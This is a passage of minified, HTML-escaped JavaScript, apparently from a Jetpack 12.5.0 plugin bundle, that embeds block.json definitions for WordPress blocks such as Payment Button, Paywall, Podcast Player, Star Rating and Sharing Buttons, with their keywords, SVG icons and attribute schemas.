card&quot;,&quot;donate&quot;,&quot;Donations&quot;,&quot;earn&quot;,&quot;monetize&quot;,&quot;ecommerce&quot;,&quot;gofundme&quot;,&quot;memberships&quot;,&quot;money&quot;,&quot;paid&quot;,&quot;patreon&quot;,&quot;pay&quot;,&quot;payments&quot;,&quot;products&quot;,&quot;purchase&quot;,&quot;recurring&quot;,&quot;sell&quot;,&quot;shop&quot;,&quot;stripe&quot;,&quot;subscribe&quot;,&quot;subscriptions&quot;,&quot;sponsor&quot;,&quot;square&quot;,&quot;toast&quot;,&quot;venmo&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M20 4H4c-1.105 0-2 .895-2 2v12c0 1.105.895 2 2 2h16c1.105 0 2-.895 2-2V6c0-1.105-.895-2-2-2zm0 2v2H4V6h16zM4 18v-6h16v6H4zm2-4h7v2H6v-2zm9 0h3v2h-3v-2z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;__experimentalExposeControlsToChildren&quot;:true,&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;],&quot;spacing&quot;:{&quot;blockGap&quot;:true,&quot;margin&quot;:[&quot;vertical&quot;],&quot;__experimentalDefaultControls&quot;:{&quot;blockGap&quot;:true}},&quot;layout&quot;:{&quot;allowSwitching&quot;:false,&quot;allowInheriting&quot;:false,&quot;default&quot;:{&quot;type&quot;:&quot;flex&quot;}},&quot;typography&quot;:{&quot;fontSize&quot;:true,&quot;__experimentalFontFamily&quot;:true,&quot;__experimentalTextTransform&quot;:true,&quot;__experimentalDefaultControls&quot;:{&quot;fontSize&quot;:true}}},&quot;attributes&quot;:{}}&#039;)},80830(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/payments-intro&quot;,&quot;title&quot;:&quot;Payments&quot;,&quot;description&quot;:&quot;Sell products and services or receive donations on your website.&quot;,&quot;keywords&quot;:[&quot;earn&quot;,&quot;monetize&quot;,&quot;paid&quot;,&quot;pay&quot;,&quot;money&quot;,&quot;checkout&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg xmlns=\&#039;http://www.w3.org/2000/svg\&#039; viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039;&gt;&lt;path d=\&#039;M3.25 12a8.75 8.75 0 1117.5 0 8.75 8.75 0 01-17.5 0zM12 4.75a7.25 7.25 0 100 14.5 7.25 7.25 0 000-14.5zm-1.338 4.877c-.314.22-.412.452-.412.623 0 .171.098.403.412.623.312.218.783.377 1.338.377.825 0 1.605.233 2.198.648.59.414 1.052 1.057 1.052 1.852 0 .795-.461 1.438-1.052 1.852-.41.286-.907.486-1.448.582v.316a.75.75 0 01-1.5 0v-.316a3.64 3.64 0 01-1.448-.582c-.59-.414-1.052-1.057-1.052-1.852a.75.75 0 011.5 0c0 .171.098.403.412.623.312.218.783.377 1.338.377s1.026-.159 1.338-.377c.314-.22.412-.452.412-.623 0-.171-.098-.403-.412-.623-.312-.218-.783-.377-1.338-.377-.825 0-1.605-.233-2.198-.648-.59-.414-1.052-1.057-1.052-1.852 0-.795.461-1.438 1.052-1.852a3.64 3.64 0 011.448-.582V7.5a.75.75 0 011.5 0v.316c.54.096 1.039.296 1.448.582.59.414 1.052 1.057 1.052 1.852a.75.75 0 01-1.5 0c0-.171-.098-.403-.412-.623-.312-.218-.783-.377-1.338-.377s-1.026.159-1.338.377z\&#039;&gt;&lt;/path&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;alignWide&quot;:false,&quot;className&quot;:true,&quot;customClassName&quot;:false,&quot;html&quot;:false,&quot;reusable&quot;:false}}&#039;)},64524(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/paywall&quot;,&quot;title&quot;:&quot;Paywall&quot;,&quot;description&quot;:&quot;Limit access to the content below this block to chosen subscribers.&quot;,&quot;keywords&quot;:[&quot;earn&quot;,&quot;monetize&quot;,&quot;more&quot;,&quot;email&quot;,&quot;follow&quot;,&quot;gated&quot;,&quot;memberships&quot;,&quot;newsletter&quot;,&quot;signin&quot;,&quot;subscribe&quot;,&quot;subscription&quot;,&quot;subscriptions&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M4 16.7134L20 16.7134V15.106H4V16.7134Z\&#039; /&gt;&lt;path d=\&#039;M16 21H20V19.3925H16V21Z\&#039; /&gt;&lt;path d=\&#039;M14 21H10V19.3925H14V21Z\&#039; /&gt;&lt;path d=\&#039;M4 21H8V19.3925H4V21Z\&#039; /&gt;&lt;path d=\&#039;M11.471 6.37162C11.2294 6.55286 11.1538 6.74395 11.1538 6.88519C11.1538 7.02644 11.2294 7.21752 11.471 7.39877C11.7108 7.57865 12.0728 7.70953 12.5 7.70953C13.1349 7.70953 13.7344 7.90158 14.1907 8.24382C14.6451 8.5847 15 9.11491 15 9.77039C15 10.4259 14.6451 10.9561 14.1907 11.297C13.8758 11.5331 13.4928 11.6978 13.0769 11.7771V12.0373C13.0769 12.3788 12.8186 12.6556 12.5 12.6556C12.1814 12.6556 11.9231 12.3788 11.9231 12.0373V11.7771C11.5072 11.6978 11.1242 11.5331 10.8093 11.297C10.3549 10.9561 10 10.4259 10 9.77039C10 9.42893 10.2583 9.15213 10.5769 9.15213C10.8955 9.15213 11.1538 9.42893 11.1538 9.77039C11.1538 9.91163 11.2294 10.1027 11.471 10.284C11.7108 10.4638 12.0728 10.5947 12.5 10.5947C12.9272 10.5947 13.2892 10.4638 13.529 10.284C13.7706 10.1027 13.8462 9.91163 13.8462 9.77039C13.8462 9.62914 13.7706 9.43806 13.529 9.25681C13.2892 9.07693 12.9272 8.94605 12.5 8.94605C11.8651 8.94605 11.2656 8.754 10.8093 8.41176C10.3549 8.07089 10 7.54067 10 6.88519C10 6.22971 10.3549 5.6995 10.8093 5.35863C11.1242 5.12246 11.5072 4.95781 11.9231 4.87844V4.61826C11.9231 4.2768 12.1814 4 12.5 4C12.8186 4 13.0769 4.2768 13.0769 4.61826V4.87844C13.4928 4.95781 13.8758 5.12246 14.1907 5.35863C14.6451 5.6995 15 6.22971 15 6.88519C15 7.22665 14.7417 7.50345 14.4231 7.50345C14.1045 7.50345 13.8462 7.22665 13.8462 6.88519C13.8462 6.74395 13.7706 6.55286 13.529 6.37162C13.2892 6.19174 12.9272 6.06085 12.5 6.06085C12.0728 6.06085 11.7108 6.19174 11.471 6.37162Z\&#039; /&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;customClassName&quot;:false,&quot;html&quot;:false,&quot;multiple&quot;:false},&quot;parent&quot;:[&quot;core/post-content&quot;]}&#039;)},73800(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/pinterest&quot;,&quot;title&quot;:&quot;Pinterest&quot;,&quot;description&quot;:&quot;Embed a Pinterest pin, board, or user.&quot;,&quot;keywords&quot;:[&quot;social&quot;,&quot;pinboard&quot;,&quot;pins&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M12,2C6.477,2,2,6.477,2,12c0,4.236,2.636,7.855,6.356,9.312c-0.087-0.791-0.166-2.005,0.035-2.869c0.182-0.78,1.173-4.971,1.173-4.971s-0.299-0.599-0.299-1.484c0-1.39,0.806-2.429,1.809-2.429c0.853,0,1.265,0.641,1.265,1.409c0,0.858-0.546,2.141-0.828,3.329c-0.236,0.996,0.499,1.807,1.481,1.807c1.777,0,3.144-1.874,3.144-4.579c0-2.394-1.72-4.068-4.177-4.068c-2.845,0-4.515,2.134-4.515,4.34c0,0.859,0.331,1.781,0.744,2.282c0.082,0.099,0.094,0.186,0.069,0.287C8.18,14.682,8.011,15.361,7.978,15.5c-0.044,0.183-0.145,0.222-0.334,0.134c-1.249-0.581-2.03-2.407-2.03-3.874c0-3.154,2.292-6.051,6.607-6.051c3.469,0,6.165,2.472,6.165,5.775c0,3.446-2.173,6.22-5.189,6.22c-1.013,0-1.966-0.526-2.292-1.148c0,0-0.501,1.909-0.623,2.377c-0.226,0.869-0.835,1.957-1.243,2.622C9.975,21.844,10.969,22,12,22c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;align&quot;:false,&quot;inserter&quot;:false},&quot;attributes&quot;:{&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;url&quot;:&quot;https://pinterest.com/anapinskywalker/&quot;}}}&#039;)},1624(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/podcast-player&quot;,&quot;title&quot;:&quot;Podcast Player&quot;,&quot;description&quot;:&quot;Select and play episodes from a single podcast.&quot;,&quot;keywords&quot;:[&quot;audio&quot;,&quot;embed&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;m22,6h-5v8.18c-.31-.11-.65-.18-1-.18-1.66,0-3,1.34-3,3s1.34,3,3,3,3-1.34,3-3v-9h3v-2h0Zm-7,0H3v2h12v-2h0Zm0,4H3v2h12v-2h0Zm-4,4H3v2h8v-2h0Zm4,3c0-.55.45-1,1-1s1,.45,1,1-.45,1-1,1-1-.45-1-1Z\&#039; /&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;],&quot;spacing&quot;:{&quot;padding&quot;:true,&quot;margin&quot;:true},&quot;anchor&quot;:false,&quot;customClassName&quot;:true,&quot;className&quot;:true,&quot;html&quot;:false,&quot;multiple&quot;:true,&quot;reusable&quot;:true},&quot;attributes&quot;:{&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;selectedEpisodes&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]},&quot;itemsToShow&quot;:{&quot;type&quot;:&quot;integer&quot;,&quot;default&quot;:5},&quot;showCoverArt&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;showEpisodeTitle&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;showEpisodeDescription&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;primaryColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customPrimaryColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;hexPrimaryColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;secondaryColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customSecondaryColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;hexSecondaryColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;backgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customBackgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;hexBackgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;exampleFeedData&quot;:{&quot;type&quot;:&quot;object&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;customPrimaryColor&quot;:&quot;GREEN&quot;,&quot;hexPrimaryColor&quot;:&quot;GREEN&quot;,&quot;exampleFeedData&quot;:{&quot;title&quot;:&quot;Jetpack Example Podcast&quot;,&quot;link&quot;:&quot;https://jetpack.com&quot;,&quot;cover&quot;:&quot;https://jetpackme.files.wordpress.com/2020/05/jetpack-example-podcast-cover.png?w=160&quot;,&quot;tracks&quot;:[{&quot;id&quot;:&quot;3&quot;,&quot;title&quot;:&quot;3. Our third episode&quot;,&quot;duration&quot;:&quot;14:58&quot;},{&quot;id&quot;:&quot;2&quot;,&quot;title&quot;:&quot;2. Interview with a special guest&quot;,&quot;duration&quot;:&quot;19:17&quot;},{&quot;id&quot;:&quot;1&quot;,&quot;title&quot;:&quot;1. Welcome to Example Podcast&quot;,&quot;duration&quot;:&quot;11:25&quot;}]}}}}&#039;)},58087(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;premium-content/container&quot;,&quot;title&quot;:&quot;Paid Content&quot;,&quot;description&quot;:&quot;Restrict access to your content for paying subscribers.&quot;,&quot;keywords&quot;:[&quot;buy&quot;,&quot;credit card&quot;,&quot;debit card&quot;,&quot;monetize&quot;,&quot;earn&quot;,&quot;exclusive&quot;,&quot;gated&quot;,&quot;gofundme&quot;,&quot;memberships&quot;,&quot;money&quot;,&quot;newsletter&quot;,&quot;paid&quot;,&quot;patreon&quot;,&quot;pay&quot;,&quot;payments&quot;,&quot;paywall&quot;,&quot;premium content&quot;,&quot;purchase&quot;,&quot;recurring&quot;,&quot;repeat&quot;,&quot;signin&quot;,&quot;stripe&quot;,&quot;subscribe&quot;,&quot;subscriptions&quot;,&quot;support&quot;,&quot;sponsor&quot;,&quot;square&quot;,&quot;toast&quot;,&quot;venmo&quot;,&quot;stripe&quot;,&quot;substack&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;m12.74,14.43l-4.1-1.26-.13.71-.42,6.87c-.03.49.52.81.93.54l3.72-2.48,4,2.51c.42.26.96-.07.92-.56l-.64-6.87v-.71l-4.28,1.26Z\&#039;/&gt;&lt;path d=\&#039;m12.74,15.14c-3.55,0-6.44-2.89-6.44-6.44s2.89-6.44,6.44-6.44,6.44,2.89,6.44,6.44-2.89,6.44-6.44,6.44Zm0-11.89c-3,0-5.44,2.44-5.44,5.44s2.44,5.44,5.44,5.44,5.44-2.44,5.44-5.44-2.44-5.44-5.44-5.44Z\&#039;/&gt;&lt;path d=\&#039;M11.95 11.08 9.36 8.48 10.06 7.77 11.95 9.66 15.42 6.19 16.13 6.9 11.95 11.08z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false},&quot;providesContext&quot;:{&quot;premium-content/planIds&quot;:&quot;selectedPlanIds&quot;,&quot;premium-content/isPreview&quot;:&quot;isPreview&quot;,&quot;isPremiumContentChild&quot;:&quot;isPremiumContentChild&quot;},&quot;attributes&quot;:{&quot;selectedPlanIds&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]},&quot;isPreview&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;isPremiumContentChild&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;isPreview&quot;:true}}}&#039;)},8206(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/rating-star&quot;,&quot;title&quot;:&quot;Star Rating&quot;,&quot;description&quot;:&quot;Rate movies, books, songs, recipes — anything you can put a number on.&quot;,&quot;keywords&quot;:[&quot;star&quot;,&quot;rating&quot;,&quot;review&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;widgets&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M22 9.24l-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03L22 9.24zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28L12 15.4z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false},&quot;styles&quot;:[{&quot;name&quot;:&quot;filled&quot;,&quot;label&quot;:&quot;Filled&quot;,&quot;isDefault&quot;:true},{&quot;name&quot;:&quot;outlined&quot;,&quot;label&quot;:&quot;Outlined&quot;}],&quot;attributes&quot;:{&quot;rating&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:1},&quot;maxRating&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:5},&quot;color&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;ratingStyle&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;star&quot;},&quot;className&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;align&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;left&quot;}},&quot;example&quot;:{}}&#039;)},77675(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/recurring-payments&quot;,&quot;title&quot;:&quot;Payment Button&quot;,&quot;description&quot;:&quot;Button allowing you to sell products and subscriptions.&quot;,&quot;keywords&quot;:[&quot;buy&quot;,&quot;contribution&quot;,&quot;commerce&quot;,&quot;credit card&quot;,&quot;debit card&quot;,&quot;donate&quot;,&quot;Donations&quot;,&quot;monetize&quot;,&quot;earn&quot;,&quot;ecommerce&quot;,&quot;gofundme&quot;,&quot;memberships&quot;,&quot;money&quot;,&quot;paid&quot;,&quot;patreon&quot;,&quot;pay&quot;,&quot;payments&quot;,&quot;products&quot;,&quot;purchase&quot;,&quot;recurring&quot;,&quot;sell&quot;,&quot;shop&quot;,&quot;stripe&quot;,&quot;subscribe&quot;,&quot;subscriptions&quot;,&quot;sponsor&quot;,&quot;square&quot;,&quot;toast&quot;,&quot;venmo&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M20 4H4c-1.105 0-2 .895-2 2v12c0 1.105.895 2 2 2h16c1.105 0 2-.895 2-2V6c0-1.105-.895-2-2-2zm0 2v2H4V6h16zM4 18v-6h16v6H4zm2-4h7v2H6v-2zm9 0h3v2h-3v-2z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;__experimentalExposeControlsToChildren&quot;:true},&quot;usesContext&quot;:[&quot;isPremiumContentChild&quot;],&quot;providesContext&quot;:{&quot;jetpack/parentBlockWidth&quot;:&quot;width&quot;},&quot;attributes&quot;:{&quot;planId&quot;:{&quot;type&quot;:&quot;integer&quot;},&quot;planIds&quot;:{&quot;type&quot;:&quot;array&quot;},&quot;align&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;#&quot;},&quot;uniqueId&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;id&quot;},&quot;width&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;parent&quot;:[&quot;jetpack/payment-buttons&quot;]}&#039;)},88795(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/related-posts&quot;,&quot;title&quot;:&quot;Related Posts&quot;,&quot;description&quot;:&quot;Display a list of related posts.&quot;,&quot;keywords&quot;:[&quot;similar content&quot;,&quot;linked&quot;,&quot;connected&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;m19.5,3.5H3.5v4.94s.01,6,.01,6v4s-.01,0-.01,0v1h15.97v-.06h.05l-.02-15.88Zm-11,1v3.94s-3.99,0-3.99,0v-3.94s3.99,0,3.99,0Zm.01,4.94v4h-4v-4h4Zm-3.99,9v-4s3.99,0,3.99,0v4s-3.99,0-3.99,0Zm13.98-13.94v3.94s-8.99,0-8.99,0v-3.94s8.99,0,8.99,0Zm.01,4.94v4h-9v-4h9Zm-8.99,9v-4s8.99,0,8.99,0v4s-8.99,0-8.99,0Z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;multiple&quot;:false,&quot;reusable&quot;:false,&quot;color&quot;:{&quot;gradients&quot;:true,&quot;link&quot;:true},&quot;spacing&quot;:{&quot;margin&quot;:true,&quot;padding&quot;:true},&quot;typography&quot;:{&quot;__experimentalFontFamily&quot;:true,&quot;fontSize&quot;:true,&quot;lineHeight&quot;:true},&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;]},&quot;attributes&quot;:{&quot;postLayout&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;grid&quot;},&quot;displayAuthor&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;displayDate&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;displayThumbnails&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;displayContext&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;postsToShow&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:3}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;postLayout&quot;:&quot;grid&quot;,&quot;displayAuthor&quot;:false,&quot;displayDate&quot;:true,&quot;displayThumbnails&quot;:true,&quot;displayContext&quot;:false,&quot;postsToShow&quot;:2}}}&#039;)},20242(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/repeat-visitor&quot;,&quot;title&quot;:&quot;Repeat Visitor&quot;,&quot;description&quot;:&quot;Control block visibility based on how often a visitor has viewed the page.&quot;,&quot;keywords&quot;:[&quot;return&quot;,&quot;visitors&quot;,&quot;visibility&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;widgets&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9zm-1 5v5l4.28 2.54.72-1.21-3.5-2.08V8H12z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;],&quot;html&quot;:false},&quot;attributes&quot;:{&quot;criteria&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;after-visits&quot;},&quot;threshold&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:3}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;criteria&quot;:&quot;after-visits&quot;,&quot;threshold&quot;:3},&quot;innerBlocks&quot;:[{&quot;name&quot;:&quot;core/paragraph&quot;,&quot;attributes&quot;:&quot;This block will only appear to a visitor who visited the page three or more times.&quot;}]}}&#039;)},58180(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/send-a-message&quot;,&quot;title&quot;:&quot;Send A Message&quot;,&quot;description&quot;:&quot;Let your visitors send you messages with the tap of a button.&quot;,&quot;keywords&quot;:[&quot;whatsapp&quot;,&quot;messenger&quot;,&quot;contact&quot;,&quot;support&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M21 6h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1zm-4 6V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false},&quot;attributes&quot;:{},&quot;example&quot;:{}}&#039;)},50233(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/sharing-button&quot;,&quot;title&quot;:&quot;Sharing Button&quot;,&quot;description&quot;:&quot;Display a sharing button, allowing users to share your post.&quot;,&quot;keywords&quot;:[],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;parent&quot;:[&quot;jetpack/sharing-buttons&quot;],&quot;attributes&quot;:{&quot;service&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;label&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;usesContext&quot;:[&quot;styleType&quot;,&quot;postId&quot;,&quot;iconColorValue&quot;,&quot;iconBackgroundColorValue&quot;],&quot;supports&quot;:{&quot;reusable&quot;:false,&quot;html&quot;:false},&quot;viewScript&quot;:&quot;file:./view.js&quot;}&#039;)},32870(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/sharing-buttons&quot;,&quot;title&quot;:&quot;Sharing Buttons&quot;,&quot;description&quot;:&quot;Give your readers the ability to easily share your content with X, Facebook, Tumblr, LinkedIn, and a host of other services to help spread your message across the web.&quot;,&quot;keywords&quot;:[&quot;sharing&quot;,&quot;social&quot;,&quot;bluesky&quot;,&quot;twitter&quot;,&quot;x&quot;,&quot;linkedin&quot;,&quot;facebook&quot;,&quot;mastodon&quot;,&quot;tumblr&quot;,&quot;threads&quot;,&quot;whatsapp&quot;,&quot;telegram&quot;,&quot;pinterest&quot;,&quot;pocket&quot;,&quot;reddit&quot;,&quot;nextdoor&quot;,&quot;print&quot;,&quot;email&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z\&#039; 